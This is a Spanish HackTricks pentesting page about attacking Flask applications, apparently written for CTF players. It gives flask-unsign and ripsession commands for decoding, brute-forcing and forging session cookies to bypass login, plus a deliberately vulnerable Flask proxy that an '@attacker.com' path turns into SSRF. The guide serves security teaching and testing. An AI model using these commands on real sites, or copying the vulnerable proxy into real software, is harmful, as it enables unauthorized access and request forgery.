Flask

Aprende a hackear AWS desde cero hasta convertirte en un héroe con htARTE (Experto en Equipos Rojos de AWS de HackTricks)!

Otras formas de apoyar a HackTricks:

Utiliza Trickest para construir y automatizar flujos de trabajo fácilmente con las herramientas comunitarias más avanzadas del mundo. ¡Accede hoy:

Probablemente si estás participando en un CTF una aplicación Flask estará relacionada con SSTI.

Cookies

El nombre de sesión de cookie predeterminado es session.

Decodificador

Decodificador de cookies Flask en línea: https://www.kirsle.net/wizards/flask-session.cgi

Manual

Obtén la primera parte de la cookie hasta el primer punto y descódificala en Base64>

echo "ImhlbGxvIg" | base64 -d

El cookie también está firmado usando una contraseña

Flask-Unsign

Herramienta de línea de comandos para obtener, decodificar, realizar fuerza bruta y crear cookies de sesión de una aplicación Flask al adivinar claves secretas.

pip3 install flask-unsign
flask-unsign --decode --cookie 'eyJsb2dnZWRfaW4iOmZhbHNlfQ.XDuWxQ.E2Pyb6x3w-NODuflHoGnZOEpbH8'

Fuerza bruta

flask-unsign --wordlist /usr/share/wordlists/rockyou.txt --unsign --cookie '<cookie>' --no-literal-eval

Firma

flask-unsign --sign --cookie "{'logged_in': True}" --secret 'CHANGEME'

Firma usando versiones antiguas

flask-unsign --sign --cookie "{'logged_in': True}" --secret 'CHANGEME' --legacy

RIPsession

Herramienta de línea de comandos para realizar fuerza bruta en sitios web utilizando cookies creadas con flask-unsign.

ripsession -u 10.10.11.100 -c "{'logged_in': True, 'username': 'changeMe'}" -s password123 -f "user doesn't exist" -w wordlist.txt

Este ejemplo utiliza la opción eval de sqlmap para firmar automáticamente los payloads de sqlmap para Flask usando un secreto conocido.

Proxy de Flask a SSRF

En este artículo se explica cómo Flask permite una solicitud que comienza con el carácter "@":

GET @/ HTTP/1.1
Host: target.com
Connection: close

Cuál es el siguiente escenario:

from flask import Flask
from requests import get

app = Flask('__main__')
SITE_NAME = 'https://google.com/'

@app.route('/', defaults={'path': ''})
@app.route('/<path:path>')
def proxy(path):
return get(f'{SITE_NAME}{path}').content

app.run(host='0.0.0.0', port=8080)

Podría permitir introducir algo como "@attacker.com" para causar un SSRF.

Utiliza Trickest para construir fácilmente y automatizar flujos de trabajo impulsados por las herramientas comunitarias más avanzadas del mundo. ¡Obtén acceso hoy:

Aprende hacking en AWS de cero a héroe con htARTE (HackTricks AWS Red Team Expert)!

Otras formas de apoyar a HackTricks:

Última actualización